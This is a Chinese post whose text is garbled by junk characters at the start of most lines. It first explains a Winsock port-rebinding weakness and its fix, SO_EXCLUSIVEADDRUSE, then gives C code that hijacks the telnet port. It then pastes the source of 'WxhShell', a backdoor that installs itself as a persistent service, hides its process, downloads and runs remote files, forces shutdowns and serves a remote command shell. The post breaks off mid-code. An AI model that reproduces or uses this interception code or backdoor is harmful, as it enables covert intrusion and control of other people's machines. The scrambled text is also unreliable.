在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
d?Y-;-|8Qh s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:k"rhI 5j[#'3TSU saddr.sin_family = AF_INET;
af>3V( 7 r\mPIr| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_`aR_%Gx &6"P7X bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Zq?_dIX
% ph^4GBR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
p{H0dj ^| p?Sl}A@` 这意味着什么?意味着可以进行如下的攻击:
Qb@eK$wo} d^aNR
Lv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
fPE ?hG<x 5EhE`k4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5#u.pu c^-YcGwa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{})y^L hDtKnF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YC)hX'A\ uX0
Bp8P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qc-C>Ra A}4t9|/K6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/+P5)q
TKL 33M}>$ZH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2?1}ZXr @W)/\AZ3 #include
RUc \u93n #include
PN9^[X #include
.\4l'THn,0 #include
62NkU)u DWORD WINAPI ClientThread(LPVOID lpParam);
0.(Ml5&e int main()
x vJ^@w' {
R9E6uz.j WORD wVersionRequested;
Gbx";Y8 DWORD ret;
jNqVdP]d\ WSADATA wsaData;
4(sttd_ BOOL val;
9TW8o}k` SOCKADDR_IN saddr;
K051usm SOCKADDR_IN scaddr;
~bFdJj 1* int err;
1w) fu SOCKET s;
UGf6i"F SOCKET sc;
;r=?BbND? int caddsize;
1O9$W?)Q HANDLE mt;
.J:;_4x DWORD tid;
u!u5g.Q wVersionRequested = MAKEWORD( 2, 2 );
UC;=) err = WSAStartup( wVersionRequested, &wsaData );
ywe5tU if ( err != 0 ) {
U[Nosh)hu\ printf("error!WSAStartup failed!\n");
Wa{%0inZ return -1;
t}c v2S }
z^9E; saddr.sin_family = AF_INET;
J2=*-O: #\0TxG5'QA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.CvFE~
"YD.=s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ki63Ox^O saddr.sin_port = htons(23);
2gH_$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"bi != {
W`5a:"Vg printf("error!socket failed!\n");
c-|kv[\a return -1;
}eI`Qg }
8eN%sm val = TRUE;
>07shNX //SO_REUSEADDR选项就是可以实现端口重绑定的
M!-q}5' ; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=_uol8v {
WySNL#>a printf("error!setsockopt failed!\n");
+!G4tA$g return -1;
"W3W:vl! }
2>ys2:z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-#daBx
? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d~3GV(M //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OoE9W 2S'AIuIew if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{GAsFnZk {
w}"!l G ret=GetLastError();
W.z$a.<(rF printf("error!bind failed!\n");
E}Ljo return -1;
g&q^.7c} }
\I:UC
% listen(s,2);
|^>u<E5 while(1)
f>p; siR) {
W3"vTZJF caddsize = sizeof(scaddr);
d8D yv#gT //接受连接请求
&^AzIfX}Gw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]X/O IfdWe if(sc!=INVALID_SOCKET)
i_|h{JK) {
|G>q:]+AV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i'U,S`L6> if(mt==NULL)
b_q!>&c {
LH bZjZ2 printf("Thread Creat Failed!\n");
d$4WK)U break;
t;h+Cf4 }
]aREQ?ma&z }
<.;@ksCPW{ CloseHandle(mt);
@wg&6uQ }
[5x+aW%ql closesocket(s);
owP6dtd) WSACleanup();
" vv$%^ return 0;
5dbX%e_OP }
b (g_.1[ DWORD WINAPI ClientThread(LPVOID lpParam)
GH[
U!J {
,oC={^l{ SOCKET ss = (SOCKET)lpParam;
pHq{S;R2G SOCKET sc;
GjG{qR unsigned char buf[4096];
Sr4dY`V*:z SOCKADDR_IN saddr;
['Hp?Q|k long num;
e{c._zr, DWORD val;
$_4oN(WSz DWORD ret;
a.5zdoH_ //如果是隐藏端口应用的话,可以在此处加一些判断
r0rJ.}! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U@1#!ZZ6 saddr.sin_family = AF_INET;
at_dmU2[7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
WiPM <' saddr.sin_port = htons(23);
l|4xKBCV] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AT2NC6{M {
B^E2UNRA printf("error!socket failed!\n");
DW'0j$; return -1;
AJJ%gxqGq }
I^rZgp<'i val = 100;
sa\|"IkD2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4WBoZJ {
u *#-7 ret = GetLastError();
g_-?h&W return -1;
EZgxSQaPH }
_47j9m]f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F[Guy7?O {
,"v)vTt ret = GetLastError();
ogkz(wZ return -1;
.3S\Rrv }
W(]E04 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+73=2.C0 {
\N-|
iq printf("error!socket connect failed!\n");
yhJA;&}> closesocket(sc);
q9g[+*9]$ closesocket(ss);
ILu0J`;} return -1;
/w}B07. }
`K@df<}%*, while(1)
.5#tB*H {
Wzf1-0t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%FR^[H] //如果是嗅探内容的话,可以再此处进行内容分析和记录
CLFxq@%nu~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GP7)m num = recv(ss,buf,4096,0);
,:dEEL+>c if(num>0)
BJ.8OU*9]S send(sc,buf,num,0);
[K4+G]6 else if(num==0)
" jQe\ break;
2dd:5L, num = recv(sc,buf,4096,0);
<@AsCiQF if(num>0)
e
ka@?` send(ss,buf,num,0);
("JV:u.L+ else if(num==0)
]Re~V{uh break;
?:''VM. }
+^&v5[$R closesocket(ss);
i\Q"a B"r closesocket(sc);
@;n$ caw return 0 ;
?lwQne8/ }
z)Q^j>% w[$nO# /4B4IT ==========================================================
FG5c:Ep D"] [&m 下边附上一个代码,,WXhSHELL
noUZ9M|hz W6xjqNU ==========================================================
^3)2]>pW ATmqq)\s #include "stdafx.h"
C8W`Oly:] ;`PkmAg #include <stdio.h>
JJHvj=9'o #include <string.h>
E#2k|TpH4 #include <windows.h>
S.F=$z.% #include <winsock2.h>
]zq_gV8k #include <winsvc.h>
,S0~:c:) #include <urlmon.h>
?6YUb; Gxa.<E^k #pragma comment (lib, "Ws2_32.lib")
v4>"p!_C #pragma comment (lib, "urlmon.lib")
.SV3<) ,f0g|5yDf #define MAX_USER 100 // 最大客户端连接数
>eTgP._ #define BUF_SOCK 200 // sock buffer
b}L,kT #define KEY_BUFF 255 // 输入 buffer
5<?c_l9X^ hCvLwZ?LF #define REBOOT 0 // 重启
S}[:;p?F` #define SHUTDOWN 1 // 关机
_yB9/F kbT-Oz 2 #define DEF_PORT 5000 // 监听端口
P ~
pbx [O+^eE6h #define REG_LEN 16 // 注册表键长度
= 4WZr #define SVC_LEN 80 // NT服务名长度
I;Fy
k70w; U4L=3T+:[ // 从dll定义API
~5!TV,>ls typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3pv1L~ ZI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MVv^KezD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
W>wi;Gf# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
g7z9i[ ,Ve@=< // wxhshell配置信息
g?AqC struct WSCFG {
=egi?Ne int ws_port; // 监听端口
yW(+?7U char ws_passstr[REG_LEN]; // 口令
Ml/p{ *p int ws_autoins; // 安装标记, 1=yes 0=no
qq_,"~ char ws_regname[REG_LEN]; // 注册表键名
]bE?n.NwZ char ws_svcname[REG_LEN]; // 服务名
GXlg% char ws_svcdisp[SVC_LEN]; // 服务显示名
jh&vq=PH char ws_svcdesc[SVC_LEN]; // 服务描述信息
RZh)0S>J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{bW3%iU int ws_downexe; // 下载执行标记, 1=yes 0=no
_";pk _ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6%INNIyAWa char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d@f2Vxe7 O:p649A };
fToI,FA >D4Ez // default Wxhshell configuration
5g>kr<K struct WSCFG wscfg={DEF_PORT,
l4reG:uYG "xuhuanlingzhe",
PM>XT 1,
SY)$2RC+} "Wxhshell",
iPO
S "Wxhshell",
}z- "WxhShell Service",
Py]ci`27 "Wrsky Windows CmdShell Service",
*Y0,d`
"Please Input Your Password: ",
s;WCz 1,
k+M-D~@5H "
http://www.wrsky.com/wxhshell.exe",
z35Rjhj9 "Wxhshell.exe"
g9Gy3zk= };
N4jLbnA 8~#Q * // 消息定义模块
9G/2^PI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{~I_rlo n char *msg_ws_prompt="\n\r? for help\n\r#>";
#zs\Z]3# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oa !P]r char *msg_ws_ext="\n\rExit.";
^(vd8 &71 char *msg_ws_end="\n\rQuit.";
ta.,4R&K char *msg_ws_boot="\n\rReboot...";
1tz .e\ char *msg_ws_poff="\n\rShutdown...";
Vp{2Z9]} char *msg_ws_down="\n\rSave to ";
Z@/5~p Hvo27THLo char *msg_ws_err="\n\rErr!";
!T. @ char *msg_ws_ok="\n\rOK!";
?}
tQaj ZhaOH5{9 char ExeFile[MAX_PATH];
toJ&$HrE int nUser = 0;
D +""o"% HANDLE handles[MAX_USER];
7b2<,
.E int OsIsNt;
.Kwl8xRg dwMwd@*j SERVICE_STATUS serviceStatus;
rapca' SERVICE_STATUS_HANDLE hServiceStatusHandle;
|h/2'zd^- K.m[S[cy // 函数声明
i%8 sy int Install(void);
R,1 ,4XT int Uninstall(void);
wwn}enEz,x int DownloadFile(char *sURL, SOCKET wsh);
qG]PUc>j int Boot(int flag);
x)L@xQ void HideProc(void);
c iX2G int GetOsVer(void);
&[5az/Hj* int Wxhshell(SOCKET wsl);
NLY5L7 void TalkWithClient(void *cs);
?s33x# int CmdShell(SOCKET sock);
j]&{ @Y int StartFromService(void);
5K{h)* *5 int StartWxhshell(LPSTR lpCmdLine);
`Cxe`w4 K^\9R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GK&Dd"v VOID WINAPI NTServiceHandler( DWORD fdwControl );
=YIQ
_,{u ||aU>Wj4 // 数据结构和表定义
F9W5x=EK\ SERVICE_TABLE_ENTRY DispatchTable[] =
!d(V7`8 {
}DaYO\:yK* {wscfg.ws_svcname, NTServiceMain},
.SN]hLV5 {NULL, NULL}
9#!tzDOtD };
{eUfwPAa3 Dzr5qP?# // 自我安装
9G~P)Z!0 int Install(void)
F}>`3//u {
2-84 char svExeFile[MAX_PATH];
n TG|Isa HKEY key;
JB<4m4- strcpy(svExeFile,ExeFile);
f6nltZ \.]
U // 如果是win9x系统,修改注册表设为自启动
Lt_]3go if(!OsIsNt) {
UhK,H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g\'sGt3 O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p~IvkW>ln) RegCloseKey(key);
:cTi$n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rej[G! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9"S3A EI RegCloseKey(key);
whCv9)x return 0;
~\P.gSiz }
Kl? 1)u3^4 }
M_K&x-H0 }
DxHeZQ"LL else {
B|v
fkX2f 4hIC&W~f // 如果是NT以上系统,安装为系统服务
srL,9)OC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
A7H=#L+C if (schSCManager!=0)
X*KT=q^?n {
TL>e[PBO SC_HANDLE schService = CreateService
;q Z2V (
=#fqFL, schSCManager,
^gG,}GTl wscfg.ws_svcname,
JFfx9%Fq wscfg.ws_svcdisp,
^d,d<Uc SERVICE_ALL_ACCESS,
&!ZpBR( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y@I"Hk<T SERVICE_AUTO_START,
zw?6E8$h SERVICE_ERROR_NORMAL,
V6Y!0,w!a svExeFile,
''G@n* NULL,
TUG3#PSnm* NULL,
H,'c& NULL,
6o!"$IH4 NULL,
c!zu0\[Id NULL
Jy9&=Qh );
Ap/WgVw; if (schService!=0)
j.o)!SA {
"LYob}_z CloseServiceHandle(schService);
VrpYBU CloseServiceHandle(schSCManager);
/=%4gWtr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
J#\/znT strcat(svExeFile,wscfg.ws_svcname);
q07>FW R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Rzp-Q5@MY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
R0Qp*&AL RegCloseKey(key);
H_9~gi return 0;
AWw:N6\ }
CXa$QSu > }
QFMS] CloseServiceHandle(schSCManager);
@_;6L }
<R2bz1!h. }
^VA)vLj@ 7{6wNc return 1;
jsuQR }
,W.O*vCA yY}`G-)g~* // 自我卸载
i+OyBDkJM! int Uninstall(void)
PWTAy\ {
Rcu/ @j{O HKEY key;
FK->|
'{),gV. if(!OsIsNt) {
IlH*s/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c Mq|`CM RegDeleteValue(key,wscfg.ws_regname);
44!bwXz8 RegCloseKey(key);
'E9\V\bi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!O*\|7A( RegDeleteValue(key,wscfg.ws_regname);
oC[$PPqX# RegCloseKey(key);
{&xKSWNc return 0;
.2`S07Z }
Rt+s\MC^r }
HH^eEh4g }
3iDRt&y=. else {
i),W1<A1 }psJ'aiG* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
nP] ~8ViS if (schSCManager!=0)
`Dj-(~x {
Y6+nfh_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
NI3_wV if (schService!=0)
r.[9/'> {
L.>`;`dmY if(DeleteService(schService)!=0) {
nT:ZSJWM CloseServiceHandle(schService);
>=wlS\:" CloseServiceHandle(schSCManager);
moh7:g return 0;
4~D?F'o }
H.*XoktC] CloseServiceHandle(schService);
5MT$n4zKu }
Q1g@FsW&U CloseServiceHandle(schSCManager);
LEG
y1L }
U5odSR$ }
7&E3d P g$~ktr+% return 1;
0X.pI1jCO }
!M6*A1g5 +g%kr~w= // 从指定url下载文件
Eb[*nWF= int DownloadFile(char *sURL, SOCKET wsh)
.cjSgK1 {
Ng2qu!F7 HRESULT hr;
?(H/a-(:v} char seps[]= "/";
k68\ _ NUL char *token;
|X0h-kX4 char *file;
5?{a=r9 char myURL[MAX_PATH];
rUR{MF&]D char myFILE[MAX_PATH];
b|P[\9 eNR>W>;' strcpy(myURL,sURL);
P-.>vi^+ token=strtok(myURL,seps);
<`}Oi5nW while(token!=NULL)
rLtB^?A z {
P;C3{>G9 file=token;
(]>=y token=strtok(NULL,seps);
+iY .Y V }
!RN(/ &%y 9ePG-=5I GetCurrentDirectory(MAX_PATH,myFILE);
Y j;KKgk strcat(myFILE, "\\");
Wxx?iW , strcat(myFILE, file);
&'Pwz send(wsh,myFILE,strlen(myFILE),0);
@m[q0G} send(wsh,"...",3,0);
Js.2R$o =* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@z[,w` if(hr==S_OK)
~.;+uH<i return 0;
&NM.}f else
$dIu${lu return 1;
yhxen K Rs
e }
>]s\%GO }86&?
0j. // 系统电源模块
,rc?,J1l int Boot(int flag)
~$cz`A {
QhR.8iS HANDLE hToken;
Y>W$n9d&G2 TOKEN_PRIVILEGES tkp;
[;~:',vHQf 1$mxMXNsJ if(OsIsNt) {
$=3&qg"! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Vz_ac
vfk^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P&I%!'<
tkp.PrivilegeCount = 1;
e1ts/@V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|[qq
$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5yBaxw` if(flag==REBOOT) {
~0/tU#& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Zcst$Aro return 0;
nwSujD }
qTxw5.Ai! else {
G4O
$gg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YNHQbsZUI, return 0;
k+qxx5{ }
I!LSDi3 }
ygI81\D else {
w(/#isC if(flag==REBOOT) {
P}kBqMM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*S _[8L" return 0;
d6RO2^ }
(S<Z@y+d else {
d}B_ wz' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*49({TD6` return 0;
$+'bRUo }
xbUL./uj }
^ &UezDTS R k'5L return 1;
KkD.n#A }
t?&@bs5~g &>%R)?SZh // win9x进程隐藏模块
hKx*V"7/#\ void HideProc(void)
Uw`YlUT\ {
[l`_2{: 'J[n}r HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XEX."y if ( hKernel != NULL )
O8\> ?4) {
nO;*Peob pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
HLL:nczj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
JyiP3whW FreeLibrary(hKernel);
Ire+r
"am }
A,H|c=" h=a-~= 8 return;
?@@BIg- }
UgqfO( BI|BfO%F$j // 获取操作系统版本
JXhHitUD int GetOsVer(void)
'gD,HX {
$T#yxx OSVERSIONINFO winfo;
%B#(d)T*- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B8G9V6KS- GetVersionEx(&winfo);
7>@g)%", if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Uo<iZ3J return 1;
BH;7CK=7R else
$ap6Vxjr return 0;
SWq5=h }
6he (v 3Yb2p!o // 客户端句柄模块
S.)+C2g,@ int Wxhshell(SOCKET wsl)
RJ63"F $ {
2a,l;o$2& SOCKET wsh;
5H{dLZ], struct sockaddr_in client;
rzk-_AFR DWORD myID;
RZL:k;}5 =QG0:z)K<v while(nUser<MAX_USER)
Vi:<W0: {
vR*TW int nSize=sizeof(client);
B|pdqSI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&pk&8_=f if(wsh==INVALID_SOCKET) return 1;
[BLBxSL 4UV6'X)V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wF\5 X if(handles[nUser]==0)
q\I2lZ closesocket(wsh);
3[ T<pAZ else
^6?)EM# nUser++;
wMx#dP4W8 }
3B^`xnV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\~4IOu EW Z?q$ return 0;
MmL)CT }
/t$J<bU EZw<)Q // 关闭 socket
#CcC& I
:c void CloseIt(SOCKET wsh)
-V\$oVS0S {
\[CPI`yQe closesocket(wsh);
um}%<Cy[ nUser--;
KhFw%Z0s< ExitThread(0);
BJ$\Mb##3@ }
65g"$:0 56JvF*hP // 客户端请求句柄
li j>u void TalkWithClient(void *cs)
Oh]RIWL {
]Lz:oV^% L2$`S'U W SOCKET wsh=(SOCKET)cs;
Jp#Onl+d6 char pwd[SVC_LEN];
f *HEw char cmd[KEY_BUFF];
W81dLeTZg char chr[1];
X
8#Uk} / int i,j;
O% }EpIP_ >dU.ic?19 while (nUser < MAX_USER) {
Fr{}~fRW< Zp'q;h_ if(wscfg.ws_passstr) {
J 6%CF2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A6faRi703 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5 52U~t //ZeroMemory(pwd,KEY_BUFF);
%X^K5Io i=0;
7JL*y\' while(i<SVC_LEN) {
>r8$vQ Gj (t%+Z"j // 设置超时
qy$1+>f1 fd_set FdRead;
873'=m& struct timeval TimeOut;
3Y6W)$Q FD_ZERO(&FdRead);
"gQA|NHwV FD_SET(wsh,&FdRead);
C#3K.0a TimeOut.tv_sec=8;
t,4'\nv* TimeOut.tv_usec=0;
8Vf]K}d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
079mn/8; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4w<4\zT_U} L32 [IL| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2z+-vT% pwd
=chr[0]; RX6s[uQ
if(chr[0]==0xd || chr[0]==0xa) { wB0Ke
pwd=0; x |0@T ?
break; p*l]I*x'<
} bxFDB^
i++; KvtX>3#qM
} CgxGvM4
^\Gukkmh}
// 如果是非法用户,关闭 socket Hs>|-iDs(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xTV3U9 v
} v[t*CpGd
@b2JR^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Z{!T)#}j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?jy6%Y#,i
l2[{T^
while(1) { FXd><#U
'"~ 2xiin
ZeroMemory(cmd,KEY_BUFF); L,PD4H"8
B$)&;Q
// 自动支持客户端 telnet标准 8IrA{UU
j=0; %M
KZ':m
while(j<KEY_BUFF) { fRT4,;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xfsf
cmd[j]=chr[0]; .*_uXQ
if(chr[0]==0xa || chr[0]==0xd) { F\U^-/0,
cmd[j]=0; o1B8_$aYgc
break; Okt0b|=`1*
} [ _Nw5_
j++; 6r3.%V.&
} [8OQ5}do/
@}[yC['
// 下载文件 \u@*FTS
if(strstr(cmd,"http://")) { m(6SiV=D9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .{}=!>U2
if(DownloadFile(cmd,wsh))
7%g8&d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dd&n>A3O=
else KDQqN]rg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b IZuZF>*
} +T|M U
else { LFHzd@Y7"
a"6AZT"8
switch(cmd[0]) { :e|[gEA
l]wjH5mz=i
// 帮助 S.Rqu+
case '?': { N u]&?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \f6@B:?y
break; ML9nfB^z!
} md. #n
// 安装 dH8^\s .F
case 'i': { 9PZY](/
if(Install()) I0v$3BQ4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KOqp@K$
else OwJZ?j&)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7=e!k-G
break; ^P|
K2at
} p(J,fus
// 卸载 A3jT;D9Y%
case 'r': { Z6Kw'3
if(Uninstall()) 0w24lVR.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KTzkJx
else P*M$^p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D6MktE)'
break; }%m:^*@$9
} (w+dB8)X
// 显示 wxhshell 所在路径 QL{{GQ_dn
case 'p': { B)1.CHV%<
char svExeFile[MAX_PATH]; bF#1'W&
strcpy(svExeFile,"\n\r"); k%[pZ5.!
strcat(svExeFile,ExeFile); ;K+'J0
send(wsh,svExeFile,strlen(svExeFile),0); _#2AdhCu
break; w)u6J,
} /'S@iq
// 重启 {Al}a`da
case 'b': { 5*#!w1X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B
>
sTM
if(Boot(REBOOT)) G"~%[k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/k`URQ
else { Le*sLuxk<
closesocket(wsh); #UO#kC<2(B
ExitThread(0); w&F/P]1
} ^9 g+\W
break; p?q~.YY
} )w.\xA~|
// 关机 .gPXW=r
case 'd': { /J-:?./
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f-!A4eKe
if(Boot(SHUTDOWN)) eb uR-9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G31??L:<
else { BWd{xP y
closesocket(wsh); x-Cy,d:YX
ExitThread(0); I`O)I&KH
} tmCm54
break; }E}b/ulg1
} Fa!6*K\
// 获取shell bkZ~O=uv$-
case 's': { `(RQh@H
CmdShell(wsh); g7-=kmr|V
closesocket(wsh); j#`d%eQ~J
ExitThread(0); x9c/;Q&m
break; 7xmyjy%c
} NvZ )zE
// 退出 \;b)qB
case 'x': { 41d,<E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {u1Rc/Lw
CloseIt(wsh); QzzV+YG$(4
break; N<xf=a+j
} ;U
+;NsCH
// 离开 :[#~,TW
case 'q': {
qrFC4\q}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Oc[j{6q
closesocket(wsh); Q}?yj,DD
WSACleanup(); XYKWOrkQqa
exit(1); *mc]Oa
break; s[V$fvW
} suh@
} wW7W+,{o
} \~(ww3e
M>mk=-l
// 提示信息 \LFRu
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lF:gQ]oc
} e$k]z HlQ
} 0/8rYBV
Q]';1#J\
return; {[~
!6&2(k
} Wdt9k.hzN
xZ51iD$
// shell模块句柄 y\'t{>U/
int CmdShell(SOCKET sock) 4T-9F
{ \haJe~
STARTUPINFO si; vrtK~5K
ZeroMemory(&si,sizeof(si)); Q0K4_iN)&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
uC3o@qGW<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `"0#lZ`n
PROCESS_INFORMATION ProcessInfo; E^.y$d~ dS
char cmdline[]="cmd"; 't$(Ruw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y$%/H"1bk
return 0; M DnT
} <a-I-~
x%ZgLvdp,
// 自身启动模式 x1m J&D
int StartFromService(void) Y[AL!h
{ u,:GJU
typedef struct d}K"dr:W5
{ 10v4k<xb
DWORD ExitStatus; oYNP,8r^
DWORD PebBaseAddress; `.f<RVk-
DWORD AffinityMask; (F$V m
DWORD BasePriority; 0]l _qxv
ULONG UniqueProcessId; A
